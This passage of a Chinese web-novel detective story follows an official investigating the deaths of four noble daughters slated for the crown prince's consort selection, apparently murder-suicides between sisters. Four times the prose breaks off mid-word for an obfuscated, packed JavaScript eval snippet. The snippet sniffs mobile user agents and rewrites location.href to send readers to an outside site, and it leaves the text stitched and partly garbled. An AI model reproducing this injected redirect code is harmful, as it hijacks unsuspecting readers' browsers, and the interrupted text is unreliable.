七彩委屈道:“钱妈妈,你见大小姐日渐疏远你,亲近我,便对我心怀怨恨,时常挑我的毛病。大小姐的肠胃病确实好了,只是还有些体虚,让她喝鸡汤是大夫吩咐的,便是夫人也知道这事。” 曲离侯夫人皱眉道:“确实如此,但如今大小姐已死,争论这种细枝末节也没意义。钱妈妈,你口口声声说一心为了大小姐好,可虹衣刚死,你就与丫环争辩,想坐实她的错处,如此行径,怕是没多看重虹衣吧?旁人伤心都来不及,你倒好,还要跟七彩争地位。” 钱妈妈赶紧战战兢兢地告罪:“夫人明鉴,老奴确实是伤心的……” “好了,你无需多言。” 云水谣听明白了,这奶娘钱氏和丫环七彩之间,存在着竞争关系。本来钱氏是大小姐的奶娘,最得大小姐倚重。但随着大小姐年岁渐长,开始疏远奶娘,亲近贴身丫环七彩,因而造成了两人的矛盾。 这两人之间的矛盾不重要,重要的是昨日七彩确实是因为干了重活,才导致她睡觉时没有醒来,那么这也算是合情合理。 只是,如果两位小姐死时发出惨叫,即便丫环睡得沉,应该也会惊醒的。 难道,两位小姐临死前并未发出太大的声音? 云水谣有些疑惑。 这时,仵作验完了尸,从屏风后走出来,回禀道:“云大人,杜家大小姐的死因是金簪刺入心口而亡,从刺入的角度来看,似乎是她自己刺的。而且,她心口处还有其他深浅不一的刺痕,一共有十来处,像是她找不准确切位置,胡乱刺下,发现自己没死,又换一个地方刺,直到把自己刺死为止。” “什么?” 云水谣听了女仵作的话,本能地想呕吐。这倒不是因为恶心,而是因为真相的冲击力太大,她心理承受不了。 还好她今日带了舒缓情绪的香包,放在鼻子下闻了一闻,才没有失态。 而曲离侯夫妇已经受不了了,不敢相信仵作的话。曲离侯夫人愤怒地对女仵作说道:“你胡说!这怎么可能!” 女仵作不卑不亢地答道:“小人只是根据尸体上的痕迹做出推断,请夫人节哀。” 而在场的下人、衙役、护卫等人,也都惊讶不已。 大小姐是自尽已经令人诧异,她一刺不中,竟接连刺了自己十来下,最终刺中要害而死,这求死的决心是有多大?且在这样极端的痛苦下,她愣是一声不吭,连旁边的丫环都未曾惊醒,却是为何? 云水谣问丫环七彩:“七彩,大小姐心口上的金簪,是不是她自己的?” 七彩看了看,道:“不错,这是大小姐之物。” 接着,云水谣又问曲离侯夫妇:“侯爷,夫人,你家大小姐最近是不是有什么伤心事,因而寻死?” 曲离侯道:“绝无可能,她们姐妹俩最近心情有些低落倒是真的,但绝不可能寻死。” “她们为何心情低落?” “这就不知道了。反正我这些天每次见到她们,她们都有些闷闷不乐。我问她们怎么了,她们说没事,我也没细问。” 云水谣又问曲离侯夫人:“您知道怎么回事吗?” 曲离侯夫人道:“我近日也察觉两个女儿状态有些不对劲,但我无论怎么问,她们都不说。我想,大概是因为她们快要离开家了,有些伤心吧。” 云水谣:“她们为何快要离家?” “大人有所不知,太子殿下虽已有正妃,但皇上下令为太子选侧室,令每个州都出五名闺秀前往京城参加选秀。大夏一共十三个州,待选少女一共要有六十五名。雍州城内被选中的是我家的两个女儿、诚安伯家的两个女儿,还有武陵侯千金,一共五人。她们此去,不管能不能被太子选中,至少要离家一两个月。如果被选中,那以后跟家人见面的机会就更少了,心中伤感也是正常的。” 云水谣一惊:“这么说,这次雍州要去参加选秀的五个女孩,竟死了四个?” “正是。” 云水谣觉得很蹊跷,她总觉得有什么事情隐藏在暗处,在她脑海中一闪而过,但她没抓住。 云水谣问道:“那武陵侯千金呢?” “那位姑娘倒是没听说出事,应该还好好的。” 这雍州城内最有权势的,除了诚安伯、曲离侯之外,便要数武陵侯了。只是武陵侯属于寒门,并无显赫家世,是靠着军功封侯的。 诚安伯、曲离侯家的千金都死了,那雍州城待选的闺秀,就只有武陵侯家的千金了。从客观上来说,武陵侯千金的中选概率会增加。 虽然这次选秀只是为太子选侧室,但太子乃是储君,将来登基之后,他的侧室都能封妃,前途无量。故而太子侧室的位置,自然也有许多人竞争。 云水谣想了想,吩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475131|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咐元景佑:“景佑,你去调查一下武陵侯家这些天是否有什么异动。” “是。” 这时,曲离侯夫人回过神来,有些愤恨地说道:“是了,一定是武陵侯……他为了让自己的女儿更容易中选,所以杀了我家的两个女儿,还有诚安伯家的两个女儿……” 云水谣道:“夫人,没有证据的情况下,您不能做如此推测。仵作已经证实,您家的大小姐属于自尽。” “那……说不定是武陵侯使了什么手段,逼我女儿自尽的!” 曲离侯虽然也有这样的怀疑,但他更沉稳一些,斥责夫人道:“你这样胡言乱语,成何体统!传了出去,我们家和武陵侯家还如何交往?” 曲离侯夫人这才不说了,只是她眼神中的恨意表明,她心里认定了杀人凶手就是武陵侯家的人。 其实云水谣刚才也有所怀疑,所以才叫元景佑去暗中调查武陵侯府。只是事情未明之前,她不能武断地说武陵侯府有嫌疑。 这时,她想起仵作还没有说二小姐的死因,便向仵作道:“二小姐死因如何?” 女仵作道:“二小姐确实是被掐死,而且……” 她没有说下去,似乎很为难。 云水谣道:“怎么了?有什么不能说的?” 女仵作深吸了一口气,才说道:“而且,我比对了二小姐脖子上的掐痕,发现……发现她是被大小姐掐死的。” “什么?!” 云水谣这一惊非同小可。 难道,是大小姐掐死了二小姐后,马上自尽了? 事情越来越离奇了。 曲离侯听闻此言,登时暴怒,对仵作骂道:“你怎敢胡言乱语,污我女儿清誉?” 他生起气来声如洪钟,女仵作有些害怕,往云水谣身后躲。如果不是顾忌着云水谣在场,只怕曲离侯当场就要打这个仵作了。 云水谣也有些害怕,但强作镇定,道:“杜侯爷,请您冷静。” 她能明白曲离侯反应为什么这么大。如果这桩案子只是简单的凶杀案,那他的女儿只是受害者。可如果二小姐真的是被大小姐掐死,那旁人未免就会对曲离侯府有许多风言风语,说什么的都有,会极大地影响曲离侯府和已故小姐的声誉。 曲离侯夫人上前为夫君顺背,曲离侯才慢慢平静下来,但还是十分不悦,道:“这仵作凭什么说二姑娘是被大姑娘掐死的?” 女仵作道:“我方才比对了大小姐的手指和二小姐脖子上的掐痕,发现严丝合缝,可见确实是大小姐掐死了二小姐。且大小姐天生异相,双手的小指跟无名指一样长。二小姐脖子上的掐痕,其小指和无名指也是一样长,这个特征是别人仿都仿不来的。从死亡时间上看,二姑娘是先死的,大姑娘是后死的,可以合理推测,大姑娘是掐死二姑娘后,再自尽的。” 曲离侯听闻此言,知道仵作言之有理,也没法再说什么,只能叹气,坐在椅子上稍作休息。 云水谣问:“两位小姐平时是不是有什么龃龉?” 94.相似 曲离侯夫人道:“并没有,两位姑娘平时感情好得很。” “据我所知,大小姐是嫡出,二小姐是庶出,很多家庭的嫡庶姐妹都有些不和。” “这倒没有,她们俩从小就要好。而且,妾身对于庶出的孩子,也都是很关照的,并不会苛待他们。这一点,府中下人都可以作证。” 柳依依走到云水谣身边,问道:“大人,可要问一下侯府的下人?” 云水谣道:“不急。” 她考虑到,府中的下人既然在侯府做事,自然不能说出什么对主人不利的言辞来。哪怕曲离侯府真的有什么不能为外人道的隐私,云水谣明着打听,也是打听不出来的。 要了解两位小姐之间是否有很深的矛盾,需要问其他人。 云水谣心生一计,问曲离侯夫人:“夫人,我想如厕,不知茅房在何处?” 曲离侯夫人道:“就在东北角,可要我带大人过去?” “不用了,我自己去吧。依依,我们一起去。” 云水谣拉着柳依依来到茅厕,确定四周无人后,对她说道:“依依,你去查一下曲离侯府有没有被外放出去的、销了奴籍的下人,向他们询问一下曲离侯府两位小姐的情况。他们已经不在侯府,应该能说实话。” 柳依依这才明白云水谣的用意,道:“大人放心,我这就去调查。” 柳依依离开后,云水谣重新回到杜府大小姐的房间。 她对曲离侯夫妇道:“侯爷,夫人,我有几个问题想单独问问你们,先让下人出去吧。” 于是,曲离侯夫妇便屏退了下人,云水谣也让衙役们先出去,只留下一个小吏做记录。 女仵作道:“大人,我就先不出去了,我想再验验尸,看有没有什么漏掉的线索。” 云水谣道:“也好,你去验吧。” 曲离侯夫人又道:“不会要剖尸吧?” 女仵作道:“我尽量不剖尸。” “可是……” 曲离侯夫人还有些犹豫,曲离侯说道:“你就别磨磨唧唧的了,查不出两个女儿的真正死因,保留全尸有什么意义?反正人死不能复生,就让仵作再验验。” 曲离侯夫人虽然有些伤心,但也只得依从。 云水谣问道:“侯爷,夫人,我接下来要问的问题十分要紧,还请如实相告。” 曲离侯道:“云大人只管问,我们一定知无不言。” “请问两位小姐是否有了心上人?” 曲离侯夫人道:“没有。” “夫人确定吗?” “她们两个是我看着长大的,她们心里有没有人,我难道看不出来吗?且我平日对她们管得挺严的,如果她们真的喜欢上了什么人,一定会有人向我报告的。” 云水谣本来觉得,两位小姐可能是另有心上人,所以不愿意去选太子侧妃,干脆自尽。但如今看来,这个理由并不成立。 云水谣又问:“两位小姐是不是只想做正室,不愿做侧室,但她们的名字已经报上去了,没法更改,所以只能自尽?” 曲离侯夫人道:“这也不会。其实在为她们报名之前,我曾私底下问过她们,是否愿意嫁给太子。她们都表示愿意参加选秀,结果如何听天由命。虽然说有些贵族女子为了做正室,宁可不嫁太子等身份高贵之人,但光从婚姻利益的角度考虑,嫁给谁都不如嫁给太子。太子的侧妃可跟一般的侧室不一样,将来太子登基,她们成了妃子,身份无比尊贵,自然不会计较是不是正室。” “两位姑娘是否看出,你们很想送她们去选秀,所以即便心里不愿,但面上假装愿意?” “这……不会的,我曾经对她们说过,如果她们真的不愿去,我和侯爷不会逼迫她们。毕竟我们还是很看重女儿自己的想法的,不会为了侯府的利益就逼迫她们去做不愿意做的事情。我跟那种唯利是图的母亲可不一样,大人随便打听打听我的为人,便知晓了。” 曲离侯夫人的为人,云水谣自然是要暗中打听的。云水谣暗暗分析这位夫人的面相,觉得她比较忠厚,眼神也比较慈爱,应该做不出逼迫女儿去选秀之事。 只是内里究竟如何,还需进一步调查。 这时,女仵作验尸完毕,出来说道:“大人,我刚才取出了两位小姐喉咙中的一些食物残渣,发现二小姐似乎服用了一些迷药之类的东西,大小姐的饮食则无异常。” 云水谣问:“迷药?二小姐是如何服下迷药的?为何大小姐没有服下?” 曲离侯夫妇道:“我们也不清楚。” 于是他们叫来下人询问。 丫环七彩道:“奴婢知道这迷药是哪里来的。前几日,奴婢跟大小姐出门,路上遇到了一个卖药的小贩。那小贩说自己什么药都有,大小姐便说,自己最近睡眠不好,有没有能快速入睡的药?那小贩还真的拿了一颗药丸出来,卖给大小姐。奴婢本以为大小姐是准备自己吃的,没想到却是给二小姐服下了。” 云水谣沉思道:“按现有的线索来看,大姑娘想杀二姑娘似乎蓄谋好几天了。她先购买了能让人昏睡的药,再让二姑娘跟自己同住,骗她服下药丸,然后趁二小姐熟睡之时,掐死了她。” 曲离侯夫人摇头道:“不,不可能,虹衣她不会这么做的……她非常善良,从小连蚂蚁都不忍心踩死。去年她妹妹得了传染病,她衣不解带地照顾。我们都叫她别靠近,怕她也被传染,可她不听。最后二姑娘霓裳好了,虹衣却病倒了一个月。这样的事还有很多。如果她真的盼着她妹妹死,那直接在二姑娘生病时,做点手脚就可以了,又何必将人救回来?” 云水谣道:“也许是她们以前没矛盾,现在有矛盾了呢?” “不……云大人,请您明察,我愿用性命担保,我女儿绝非恶毒之人!” “也许,并不是她恶毒,而是因为一些缘故,她不得不这么做。” “那是什么缘故?” “本官现在还想不明白。夫人,两位小姐可曾得了什么绝症吗?” “并没有,她们身体健康。” 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483282|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水谣刚才猜测,也许是两位小姐得了绝症,不想忍受身体上的痛苦,所以才自尽。但既然身体健康,这个假设也就不成立了。 她觉得自己的思维进入了死胡同,一时半会是想不明白了。 于是,她对曲离侯夫妇说道:“侯爷,夫人,此案未明,我需将两位小姐的尸身运到衙门的冰库保存,所以她们暂时不能下葬。另外,丫环七彩我也要带走,毕竟她是凶案发生时唯一在场的人。” 曲离侯夫妇都无异议。 云水谣如此提议,一方面是为了查案,另一方面也是为了保护丫环七彩。两位小姐之死已成定局,如果七彩继续留在侯府,曲离侯很有可能继续迁怒于她,进而伤害她。看七彩这瘦小的身躯,恐怕是经不住更多刑罚的。 因此,云水谣打算先将七彩放在衙门,保护起来。当然,七彩是唯一在场者,她多多少少也是有嫌疑的。保险起见,七彩也要放在自己的视线之内。 曲离侯问道:“大人,多久能侦破此案?” “本官也说不好,但会尽快给你们一个说法。” 其实这桩案子从表面上看,二小姐是被大小姐所杀,大小姐是自尽,似乎可以结案了。 但云水谣觉得,事情好像没那么简单,还需深入调查。哪怕她们的死因没问题,但她们为什么赴死,却值得深究。 现在她需要回到衙门,等杜羽那边的调查结果。 曲离侯夫人道:“大人,可否让我为两个女儿修饰一下遗容,再将她们是尸身运到衙门?” 云水谣道:“可以。” 曲离侯夫人吩咐下人:“去请东源门的贺妆娘来,为两位小姐修饰遗容。” 下人应道:“是。” 为死人化妆可没有那么容易,一般都会请个专业的妆娘过来。 云水谣见自己已经调查得差不多了,便回到了衙门。 她等了一会,杜羽也回来了。 云水谣询问道:“诚安伯府那边的情况如何?” 杜羽把大致情况说了,云水谣惊讶地发现,诚安伯府的命案细节,竟然跟曲离侯府有许多相似之处。 诚安伯府的两位小姐,也是昨天晚上突然睡在一起,然后大姑娘将二姑娘掐死,再用银簪自刺心口而亡。二姑娘体内,也有迷药的成分。 而且,这两位小姐的房间里,也只有一个叫青叶的丫环守夜。而这青叶,又偏偏因为白天干活太累,晚上睡得很沉,什么声音都没有听见。 云水谣疑惑道:“怎么会有如此相似之事……诚安伯府的二小姐,确定是被大小姐掐死的?” “正是,仵作已经比对了大小姐的手指和二小姐脖子上的掐痕,确实一模一样。” “那丫环青叶呢?她为什么也睡得醒不来?” “据青叶的解释,是说她偷偷为自己的父母设了牌位,在府中祭拜,被管家发现了,犯了规矩。管家便罚她挑水,她挑了整整十二个水缸的水,晚上累得头沾到枕头就睡着了。” “你可把青叶带来了?” 95.作伴 “带来了,我叫她过来。” 过了一会,衙役带来一名身材瘦高、其貌不扬但面相稳妥的青衣丫环,她便是诚安伯府的丫环青叶了。 云水谣问了她一些案件的细节,她的回答跟七彩有许多相似之处。 云水谣又问道:“你们二小姐服用的迷药,是从何处得来?” 青叶道:“禀大人,前几日奴婢跟我们大小姐出门,路上遇到一个卖药的小贩,大小姐便向他买会令人快速入睡的药丸。那小贩便卖给大小姐一颗。想必是大小姐将这颗药丸给二小姐服下了。” 云水谣皱眉:“怎么你们也遇见那卖药小贩,跟曲离侯府的丫环七彩说辞一样?” “禀大人,那天是曲离侯府的大小姐和我们大小姐一起出门逛街的,所以她们是同时遇见那卖药小贩,也是同时买了药丸。” “当时两府的大小姐在一起?” “是的,两位大小姐一起出行,许多人都见到的,大人稍微打听一下便知。” “她们俩是朋友吗?” “算是吧。” “她们一起买药丸,具体是几天前?” “三天前。” “那两位大小姐当时有没有什么异常的言行举止?” “好像没有。” 云水谣叫来一个捕头,让他去街上打听一下,三天前诚安伯府大小姐和曲离侯府大小姐是否曾一起出游。 接着,云水谣问青叶:“你跟丫环七彩很熟吗?” “算是熟悉吧,因为我们俩的小姐经常见面,所以我和七彩也常遇见。” “关于这两起案子,你和七彩是否预先编了一套说辞,所以所说的话都如此相似?” 青叶慌忙跪下:“没有啊,请大人明察!两府的小姐们死因相似,我和七彩都不知道怎么回事。” 目前没有直接的证据表明,这两起案子跟两个丫环有关。两位大小姐心口的簪子是自己所刺,两位二小姐脖子上的掐痕是她们的姐姐所掐,迷药也是两位大小姐所买。 这两起案子看似简单,但又处处透露出诡异。 丫环青叶脸上的错愕不似作假,云水谣也不能在没有证据的情况下,就说她有嫌疑,因此便让她起来,说道:“你不用慌,本官也只是随口一问。” 青叶道:“谢大人明察。我和七彩说的话相似,只是因为这两个案子本就相似。” 云水谣觉得,倒也是这么个理。于是,她便让青叶去七彩所住的厢房,两人互相做个伴。 她们两人都失去了自己的小姐,想来同病相怜,也能互相安慰。 云水谣也把自己的调查所得向杜羽说明,杜羽越听,眉头越是紧皱。 云水谣说完后,杜羽说道:“这两起案子确实相似得过分了。如果是人为的话,倒像是两个凶手约好了,用同样的手法杀人。” 云水谣问:“你也觉得是人为?” “四位等待选秀、前途无量的贵族少女,突然死去,凶案现场还没有其他人的痕迹。这很难让人相信是自尽,倒像是凶手的手段非常高超,让人找不到任何蛛丝马迹。而且,如果她们真的因为某些原因,不得不死,那为什么不是四个一起自尽,而是两位姐姐先杀了妹妹,再自尽呢?难道两个妹妹并不想死,但两位姐姐非要她们死不可?” “我赞同杜长史的想法,但个中原因,我也想不明白。” “我们不妨从结果去推论。这四位姑娘死了,谁获益最大?” “你是说,武陵侯千金?” 雍州送去待选的少女一共五位,其中四个都死了,一时之间也找不到其他少女来补上,那么武陵侯千金中选的概率自然增加了。 杜羽道:“这是其中一种可能,但武陵侯一家杀人的可能性不大。” “为何?” “一来,此次参选的秀女一共有六十多名,纵然武陵侯将雍州的四名少女杀死,还有其他州的秀女,武陵侯千金未必能在这么多人中脱颖而出。只杀其中四个,意义不大。 二来,杀人的时机太早了。如今选秀尚未开始,还不知谁能入选。武陵侯如果真要做手脚,何不等到选秀快开始时,再下手除去比她女儿优秀之人?或是等到选秀结束后,除掉那些被选中的姑娘,让他女儿上位,这才符合常理。 第三,要让其他秀女落选,手段多得很,也不一定要杀人。杀秀女之事一旦被人发现,罪责很大,祸及全家,武陵侯怎么能保证自己一定不会被发现?而且四个秀女同时死亡,实在太惹眼了,很多人第一时间就会怀疑到既得利益者武陵侯身上。 武陵侯就算真要杀这四名千金,为何不分时间逐个暗杀,而要在同一日一齐杀死,给自己惹来这么大的嫌疑?” 云水谣点头:“确实如此。只是,如果不是武陵侯暗中主使,又会是谁?” 杜羽道:“我们不仅要看这两件凶案发生对谁最有利,还要看对谁最不利。” 云水谣思索道:“对谁最不利……莫非是太子殿下?” 杜羽:“我也是这么想的。这四名待选的千金同时罹难,外界会如何猜测?也许会有人说,那些千金宁可自尽也不愿嫁给太子,太子此人该糟糕到何种地步?而且,死的恰好是孟氏和杜氏两个大族的女孩,外界会不会猜测,太子和某些世家之间已有嫌隙,所以世家宁可让女儿暴毙,也不愿跟太子结亲?这些猜测一旦流传开来,对太子的名声很不利。 再者,太子妃是陆氏女,出自五姓七家中的平原陆氏。也许还会有人猜测,太子妃出于嫉妒,所以才暗杀了几名待选的秀女。那么,太子妃乃至整个平原陆氏的风评都会下降,也会影响平原陆氏跟其他家族的关系。 所以这件事深入分析,似乎又是一个针对太子的局。而且,即便最后证实四位千金之死跟太子、太子妃无关,但人毕竟已经死了,曲离侯、诚安伯因丧女之痛必定大受打击,说不定身体就此衰弱,没法继续为朝廷效力。那么,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491931|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论是对太子、对朝廷、对孟氏和杜氏,都是较大的损失。 就比如之前安正则眼盲一事,虽然证实了是百尺楼及其幕后主人搞的鬼,但安正则眼瞎不能复明,安氏精心培养的嫡长孙没什么用了,只能做个闲职。安氏其余子弟都不如安正则聪慧贤明,因此安氏的损失可以说非常大。颍阳安氏、理国公府跟太子之间必然是产生嫌隙的,只是不会明面上发作罢了。 所以,这次的案子,不论真相如何,背后之人都十分恶毒,且老谋深算。不管真相能否查清,都会对太子形成打击。” 杜羽分析得很有条理,云水谣惊觉背后之人心思之深,冒出了一身冷汗。 云水谣道:“莫非这次又是福王在幕后主使?” 杜羽道:“你这话却说得不够妥当。上次百尺楼的事情,福王已脱干系,且是他把两个大盗缉拿回来,说这两人是百尺楼的大统领和幕后主人,至少明面上是这样。所以,就不能直接说上次的事情是福王主导,不管你心里是如何想的。而这次的事情,还没有任何证据表明跟福王有关。希望打击太子势力的,应该也不止一股力量。敌人在暗,我们还需小心查证,以免遗漏了别的敌人。” “嗯,杜长史说得对。只是,您心里是不是也在怀疑福王?” “现在还不好说。” 这时,却听州衙门口传来吵闹声。 云水谣道:“我出去看看是怎么回事。” 云水谣走到州衙门口,却发现有一堆人在门口打架。衙役们虽然尽力去拉,但打架之人情绪激动,一时拉不开。 在左边的角落里停放着四具棺材,而打架人群的右边,有一辆豪华的马车。一位明艳的红衣少女站在车辕上,指挥战斗,一手叉腰,一手指着前方,不停地说:“打呀!给我狠狠地打!反了天了!” 云水谣赶紧叫更多衙役来制止这场混战,但衙役们要么被推开,要么被挤入打架的人群中,走不脱,拉不开人,还被乱拳打中好多下。 云水谣十分无奈,这时杜羽也推着轮椅走了出来。 他见此情形,也没去拉架,而是飞身而起,将那马车上的红衣少女抓了下来。 他抓着红衣少女,施展轻功回到轮椅上坐着,一只手还紧紧按住那红衣少女的脖子。他坐着,红衣少女也站立不住,被迫跪在了地上,十分狼狈。 杜羽问道:“你在指挥打架,那群人里面是不是有很多是你的下属?叫他们停手,否则我就打你了。” 红衣少女不服气地大叫:“大胆!你知道我是谁吗?” 杜羽也不废话,直接伸出另一只手,“啪”的一下打在那少女的后脑勺上。 虽然力度不算大,但那少女被打懵了,道:“你?你真打?我要去衙门告你!” 杜羽讽刺一笑:“你告吧,我就是雍州长史。” 红衣少女:“……” 这红衣少女无言以对,又怕再次被打,只好叫自己的属下们住手。 96.打架 下属们见自家小姐被擒,都有些慌张,赶紧放开其他人,退到一边。 其他人还想冲上去打,被衙役们拦住。 云水谣呵斥道:“你们是什么人?在州衙门口打架成何体统?衙役们上前拉架,你们竟连官差都打,简直吃了豹子胆!” 其中有一个较为老成的男子回禀道:“回大人,我们这些穿黑色衣服的,是曲离侯府的家丁。旁边那些穿蓝色衣服的,是诚安伯府的家丁。我们两家的小姐修饰好遗容后,我们奉家主之命将小姐们的尸身运来衙门备案,两家差不多同时到,旁边的那四具棺木,便装着我们两家的四位小姐。 谁知,我们到达之后,却遇到武陵侯府的大小姐,便是这位红衣少女。她带着一群仆从,那些穿白衣服的人便是。她见到这四具棺木,便询问是何人的棺木。我们回答了她,谁知她得知之后,竟笑了,有几分得意。我们两家的家丁见到她如此反应,都有些生气,便跟她争吵了几句。她说我们大胆,竟敢对她无礼,便指挥她的家丁打我们。我们两家来的人不多,武陵侯府这边倒是人多势众,因此方才打得不可开交。” 云水谣听明白了,原来这嚣张的红衣少女便是武陵侯千金褚娇娇。她得知诚安伯府、曲离侯府的几位千金都死了,竟喜形于色,看来她既不善良,也没有城府。即便她心里高兴,怎能在这种场合表现出来?也难怪会发生如此争执。 云水谣对武陵侯千金褚娇娇道:“褚小姐,此事却是你的不对,你还需向诚安伯府、曲离侯府的家丁们道歉。” 褚娇娇柳眉倒竖,一脸不服:“我堂堂武陵侯千金,竟然要向几个下人道歉,简直倒反天罡!他们今日跪下给我道歉,我还能放他们一马。否则,定教他们好看!” 云水谣不禁暗暗摇头。 此刻褚娇娇还被杜羽按在地上,她转头对杜羽说道:“放开我!武陵侯千金,你区区小官惹得起吗?” 杜羽有点想笑,但还是保持着一脸严肃的样子,并没有暴露内心的想法。他自然也没有放开褚娇娇。 褚娇娇地位虽高,但凡事逃不过一个理字,今日确实是她无礼在先,必须给个说法。 曲离侯府、诚安伯府的家丁虽是下人,但见到褚娇娇如此反应,也忍不了了。 其中一个暴脾气的家丁便道:“武陵侯千金了不起吗?你满天下问问,谁见到别人家死了人是像你这样发笑的!我们要告诉家主,让家主去武陵侯府讨个说法!” 褚娇娇狡辩道:“谁说我刚才是因为你们两家死了人才笑的?我只是想起高兴的事,不行吗?” “你说谎!你分明是觉得整个雍州的秀女死了四个,就你一人独大,所以你心里得意罢了!” “是又怎么样,我心里高兴犯法吗?谁让你们两家的小姐短命,没法跟我争?人啊,还是得信命。有福之人不用忙,无福之人死得早。” “你……” 褚娇娇这些话,简直句句往这些家丁的肺管子上戳,云水谣就没见过这么不会说话的。或许是褚娇娇仗着自己的身份,所以不把旁人放在眼里,说话也无需顾忌旁人的心情。 有个家丁气急了,对褚娇娇道:“你如此得意,是不是我们两家的小姐就是你杀的?云大人,杜大人,还请你们明察,还几位小姐一个公道!” 褚娇娇急了:“你胡说什么,我怎么会杀人?我这些天,根本就没出门。” “你说你没出门,可有证据?” “我这几天一直在跟一个老师学棋,你问我老师便是。” 云水谣和杜羽对视了一眼,都觉得应该查一下褚娇娇。 于是,杜羽让人将褚娇娇关押起来,然后派人去请褚娇娇的老师、丫环等人,作为对证。 褚娇娇不愿留下,但由不得她。 她仍旧大吵大闹,杜羽道:“最新的医学研究表明,生气、吼叫会让人变丑。” 褚娇娇马上闭嘴,比锯了嘴的葫芦还安静。 云水谣听杜羽一本正经地胡说,有些想笑,但在众人面前还是忍住了。 她让诚安伯府、曲离侯府的家丁们,将几具棺材运到衙门后堂的冰库里。冰库能保存尸体较长时间,不过因造价高昂,很多衙门没有。雍州府是大衙门,不缺钱,所以一年四季都维护着这个冰库,可以随时用。 家丁们将尸体运进去后,便各自回家了。 杜羽朝冰库里的棺材看了一眼,神色黯然。云水谣知道,他是为几位堂妹、表妹之死而伤心。但这样的事,也劝解不了,只能让他慢慢地恢复心情了。 没过多久,褚娇娇的老师、丫环等人便带到了。 她们作证,褚娇娇前几日一直没出门,昨天晚上更是彻夜学棋,所以没有杀人的时间。 不过,杀人的不是褚娇娇,也可能是她的家人。云水谣之前已经派元景佑去暗中调查武陵侯府的成员,不过需要一些时间才能调查完毕。 现在也只能先把褚娇娇放了。 褚娇娇临走前,十分趾高气扬,道:“我就说我没杀人,你们还不信。” 云水谣无奈地笑了笑,也不跟她计较。 办公厅里暂时只剩下她和杜羽两人,她问杜羽:“杜长史,你那两位堂妹平时关系好吗?” 杜羽道:“据我了解,她们虽不是一母所生,但从小关系密切,连吵架都很少。” “那诚安伯府的两位小姐呢?关系如何?” “孟芳茵、孟芳茹虽然算是我的远房表妹,但我跟她们见面很少,并不清楚她们关系如何。我已飞鸽传书给孟荀,让她前来,也许她能提供一些线索。” “孟荀大概多久能到?” “估摸着最快也得十几日。” 孟荀是诚安伯府两位小姐的堂姐,从小到大跟孟芳茵、孟芳茹也经常见面的,也许对她们有更深的了解。是以云水谣也盼望着孟荀前来。 杜羽用扇子轻轻敲着脑袋,道:“我倒想起一件奇怪的事。” “何事?” “几天前,我叔父邀请我去赴宴。我因摔伤了腿,便坐轮椅前去。席间,杜虹衣、杜霓裳两位堂妹见我坐轮椅,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497366|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问我如何受伤的。我说是从马背上摔下来的,她们俩对视了一眼,似乎都有些害怕,脸色惨白。当时我就有些费解,只因这是小事,未曾注意。但如今想来,倒奇怪得很。” 云水谣回想起,杜羽从曲离侯府赴宴回来那一天,确实是一副若有所思的表情。原来他那天便是在想这件事。 云水谣道:“她们的反应确实有些奇怪。按理说,得知你受伤,她们应该是担忧才是,为何会害怕呢?如果说,她们只是听别人说你从马上摔下,但不知摔得怎么样,才会有些害怕。但你已经在她们面前,明显是没大碍的样子,她们不需要害怕啊。” “我也是这么想的。这件事,跟她们的死会不会有什么关联?” “这能有什么关联?” “也是……” 几天后,元景佑回来复命:“大人,我已经调查了,武陵侯一家在这些天都没有什么异动,应该跟凶案无关。” 另一边,柳依依奉命去找从曲离侯府赎身的下人,询问曲离侯府两位小姐的情况,因为只有离开侯府的下人才有可能说实话。 她也回来了,跟元景佑前后脚到。她对云水谣说道:“大人,我已经走访了好多个离开曲离侯府的下人,他们都说,曲离侯的两个千金从小关系便很好,大小姐还曾多次救二小姐。曲离侯夫人也是个和善的,从未为难庶子女,将所有的孩子一起抚养长大。按理说,曲离侯府的两位小姐应该不存在什么矛盾。” 